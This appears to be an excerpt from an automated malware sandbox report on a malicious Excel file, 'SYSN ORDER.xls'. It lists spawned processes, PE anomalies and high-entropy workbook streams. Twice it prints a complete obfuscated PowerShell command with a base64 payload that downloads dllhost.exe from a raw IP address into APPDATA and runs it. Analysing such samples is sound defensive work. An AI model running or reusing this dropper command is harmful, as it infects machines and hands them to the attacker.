Source: C:\Windows\System32\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C POwerSHELL -eX BypASs -NoP -w 1 -c DevicecREdENtIalDepLoYMent.Exe ; ieX($(ieX('[syStEM.texT.encOdiNg]'+[ChaR]0x3A+[cHAr]0x3a+'UtF8.geTStriNG([SYsTEm.conVeRT]'+[Char]58+[CHAR]58+'FromBAse64STriNG('+[chaR]34+'JFltICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFckRlZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJMbW9uLmRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpVcXgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWGV0dVN2RXMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVmVsLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBudEUsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGtQZERQKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiTVAiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTUGFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNJbGFmR2lhYnZyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRZbTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvNzcwL2RsbGhvc3QuZXhlIiwiJEVOdjpBUFBEQVRBXGRsbGhvc3QuZXhlIiwwLDApO3NUQXJ0LXNsZUVwKDMpO1N0QVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxkbGxob3N0LmV4ZSI='+[chAR]0X22+'))')))"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: "C:\Windows\system32\cmd.exe" "/C POwerSHELL -eX BypASs -NoP -w 1 -c DevicecREdENtIalDepLoYMent.Exe ; ieX($(ieX('[syStEM.texT.encOdiNg]'+[ChaR]0x3A+[cHAr]0x3a+'UtF8.geTStriNG([SYsTEm.conVeRT]'+[Char]58+[CHAR]58+'FromBAse64STriNG('+[chaR]34+'JFltICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFckRlZmluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJMbW9uLmRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpVcXgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWGV0dVN2RXMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVmVsLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBudEUsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGtQZERQKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiTVAiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTUGFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNJbGFmR2lhYnZyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRZbTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvNzcwL2RsbGhvc3QuZXhlIiwiJEVOdjpBUFBEQVRBXGRsbGhvc3QuZXhlIiwwLDApO3NUQXJ0LXNsZUVwKDMpO1N0QVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxkbGxob3N0LmV4ZSI='+[chAR]0X22+'))')))"	Jump to behavior

Source: ngxpd0hb.dll.8.dr	Static PE information: real checksum: 0x0 should be: 0x1769
Source: tnesdt30.dll.18.dr	Static PE information: real checksum: 0x0 should be: 0xa26d
Source: dllhost.exe.7.dr	Static PE information: real checksum: 0xa2135 should be: 0xff670
Source: dllhost[1].exe.7.dr	Static PE information: real checksum: 0xa2135 should be: 0xff670

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_000007FE899A022D push eax; iretd	7_2_000007FE899A0241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_000007FE899A00BD pushad ; iretd	7_2_000007FE899A00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_000007FE899A2243 pushad ; ret	7_2_000007FE899A2261

Source: SYSN ORDER.xls	Stream path 'Workbook' entropy: 7.9994310106 (max. 8.0)
Source: B8230000.0.dr	Stream path 'Workbook' entropy: 7.99946016923 (max. 8.0)

Source: C:\Users\user\AppData\Roaming\dllhost.exe	API/Special instruction interceptor: Address: 35A229C
Source: C:\Users\user\AppData\Roaming\dllhost.exe	API/Special instruction interceptor: Address: 3AF229C